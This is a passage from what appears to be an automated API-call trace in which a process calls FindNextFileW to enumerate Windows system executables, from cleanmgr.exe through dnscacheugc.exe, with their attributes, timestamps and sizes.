ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x34c00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="cleanmgr.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e5790, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xb7e5790, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xdc324950, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="cliconfg.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391d06ff, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x391d06ff, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc349340, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="clip.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8734b6f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8734b6f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87371858, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54400, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="cmd.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1030d73, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb1030d73, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdd3a6a80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="cmdkey.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec55860, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x6ec55860, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdd3cdb80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="cmdl32.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d4445bb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x7d4445bb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdd3f2570, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="cmmon32.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8efab55c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8efab55c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8efab55c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="cmstp.exe", cAlternateFileName="")) returned 1 [0039.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ba021e4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1ba021e4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdd419670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="cofire.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fdc04, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x19fdc04, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xdd465160, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x15200, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="colorcpl.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x316ee0ed, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x316ee0ed, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd48c260, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="comp.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd4b0c50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="compact.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7238b736, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x7238b736, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xeecd5140, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="CompMgmtLauncher.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d7da9e, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x82d7da9e, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdd4b0c50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="ComputerDefaults.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x853e749d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x853e749d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8547fa1f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x52800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="conhost.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ee548fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ee548fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ee548fa, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b580, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="consent.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75044f6b, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x75044f6b, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdd67bc10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="control.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29ca404f, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x29ca404f, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd6a0600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="convert.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eda12e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb0eda12e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xddacb450, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="credwiz.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53727ed, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd53727ed, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddb62a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x26200, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="cscript.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b3e3e96, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x6b3e3e96, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xddb62a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="csrss.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c51c5ff, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x1c51c5ff, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xddbb0c30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="ctfmon.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2191a4, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x8e2191a4, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddc48210, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4ea00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="cttune.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x895c7647, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x895c7647, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddc6f310, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="cttunesvr.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1385fc55, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x1385fc55, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xdde37bc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xd7400, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="dccw.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfca15ae0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xfca15ae0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde000470, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="dcomcnfg.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbf2c800, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdbf2c800, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde0beb50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="ddodiag.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbcdff23, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xbbcdff23, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde10a640, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2cc00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="Defrag.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb939178, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdb939178, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde156130, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1b400, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="DeviceDisplayObjectProvider.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ff3a56c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x5ff3a56c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xde156130, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="DeviceEject.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbe32659, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbbe32659, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde17d230, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="DevicePairingWizard.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82848ae7, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x82848ae7, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde1efe20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x16a00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="DeviceProperties.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fb9db19, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1fb9db19, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde214810, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="DFDWiz.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x936a25bf, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x936a25bf, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936a25bf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="dfrgui.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe2c2b99, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xbe2c2b99, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xdff65630, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="dialer.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9a95e4b, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xa9a95e4b, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xdffb1120, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="diantz.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60e1adc0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x60e1adc0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdffd5b10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="dinotify.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938917a3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x938917a3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x938b7903, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28a00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="diskpart.exe", cAlternateFileName="")) returned 1 [0039.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c984a5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x13c984a5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe00bb2f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="diskperf.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a80986, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93a80986, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93a80986, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x58c00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="diskraid.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8837bef, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xe8837bef, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0369380, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x43200, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="Dism.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd81ea4a, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd81ea4a, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xe0400960, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x26e00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="dispdiag.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f9a6bc8, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f9a6bc8, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe057d720, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x81400, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="DisplaySwitch.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f6834a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f6834a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f6834a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="djoin.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee4ae4b2, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee4ae4b2, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe06fa4e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="dllhost.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed7e2f74, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xed7e2f74, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe07215e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="dllhst3g.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x390ff8fb, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x390ff8fb, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe0981470, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="dnscacheugc.exe", cAlternateFileName="")) returned 1 [0039.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: 